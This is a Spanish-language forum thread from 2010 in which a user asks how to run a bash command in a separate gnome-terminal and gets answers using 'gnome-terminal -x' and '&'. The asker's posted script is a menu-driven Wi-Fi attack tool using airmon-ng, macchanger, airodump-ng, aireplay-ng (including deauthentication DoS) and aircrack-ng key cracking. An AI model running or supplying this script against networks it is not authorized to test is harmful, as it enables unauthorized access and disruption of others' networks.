[Bash script] Introducir comando en una nueva terminal (SOLUCIONADO)

Iniciado por moikano→@, 28 Octubre 2010, 15:47 PM

0 Miembros y 2 Visitantes están viendo este tema.

moikano→@

Necesito saber si existe algún comando para ejecutar una orden y que se ejecute en una ventana nueva sin alterar la ventana padre (por decirlo de alguna forma).
Es decir:
ifconfig -a # se ejecuta en la terminal de origen
ifconfig # se ejecuta en la nueva terminal sin alterar la terminal de origen de ifconfig -a

No se si me explique muy bien. Googleando encontré alguna respuesta pero es un apaño un poco cutre, no me gusta mucho, queria saber si hay otra opción.

lo que e encontrado se trata de que el primer script llame al segundo:

Primer script (p.sh):

#!/bin/bash
gnome-terminal -e "bash script.sh"

Segundo script (script.sh):

#!/bin/bash
ls /home/usuario/Escritorio
sleep 5

Ejecución:

bash p.sh

------Lo que yo quiero es que no se necesite tener dos scripts diferentes.

moikano→@


leogtz

Cita de: moikanolaplana en  1 Noviembre 2010, 18:38 PM
Nadie tiene una idea de como hacerlo?  :-\

Tranquilo que también tenemos vidas sociales.


Código (bash) [Seleccionar]
#!/bin/bash
ifconfig -a
gnome-terminal -x bash -c "ls|less"
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

moikano→@

Disculpa Leo, solo quería revivír el mensaje.
Gracias =) voy a probarlo.

leogtz

Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

moikano→@

Ey! si que funciona. Gracias de nuevo Leo =) como siempre das en el clavo.  ;-)

leogtz

Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

moikano→@

He estado probando dentro del script al que queria agregarlo y no me a dado el resultado que queria :-\.
Se abre una terminal con el comando que le digo, pero esta no es independiente de la terminal padre ( por así decirlo).
Es decir, cuando ejecuto el comando "gnome-terminal -x bash -c ifconfig" me saca una nueva ventana de terminal pero en la que e introducido el código se queda esperando a que la otra acabe y si hago un ctrl+c a cualquiera de las dos se para la que se ha abierto nueva.

Os pongo el código completo por si es otra cosa la que se me escapa:

Código (Bash) [Seleccionar]

#!/bin/bash
iwconfig
  read -p 'introduce el interfaz a usar: ' inter
airmon-ng start $inter
  read -n 4 -p 'introduce el monitor que utilizaras para cambiar su mac: ' mon
ifconfig $mon down
macchanger -m aa:00:aa:00:aa:00 $mon
$macmon == aa:00:aa:00:aa:00
echo 'pulsa control+c cuando veas la red'
   airodump-ng $mon
trap 'ataques' EXIT;
      function ataques()
             {
                 read -p 'introduce el nombre de la red: ' nom ;
                 read -n 17 -p 'introduce la mac: ' mac ;
                 read -n 2 -p 'introduce su canal: ' can ;
                      gnome-terminal -x bash -c "airodump-ng -w $nom -c $can --bssid $mac $mon" ;
                 while [ $SALIR=1 ] ; do
                 read -p 'indica que ataque quieres iniciar:
                          -Autentificacion (1) -Captura de paquetes (2) -DoS a router (3) -Sacar clave (4) -salir (5) : ' ata ;
                 case $ata in
                      1) gnome-terminal -x bash -c "aireplay-ng -1 0 -e $nom -a $mac -h $macmon $mon" ;;
                      2) gnome-terminal -x bash -c "aireplay-ng -3 -e $nom -a $mac -h $macmon $mon" ;;
                      3) gnome-terminal -x bash -c "aireplay-ng -0 0 -e $nom -a $mac $mon" ;;
                      4) gnome-terminal -x bash -c "aircrack-ng ./$nom*.cap" ;;
                      5) break ;;
                      *) echo 'lo escrito no es correcto'
                 esac
                 done
              }


el problema esta en la linea
Código (Bash) [Seleccionar]

gnome-terminal -x bash -c "airodump-ng -w $nom -c $can --bssid $mac $mon"


Me abre la nueva terminal con este comando pero no me deja hacer nada en la terminal de origen.

No hay alguna otra manera de que la terminal nueva sea totalmente independiente de la terminal de origen?

moikano→@


leogtz

Prueba:
Código (bash) [Seleccionar]
gnome-terminal -x bash -c "airodump-ng -w $nom -c $can --bssid $mac $mon" &
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com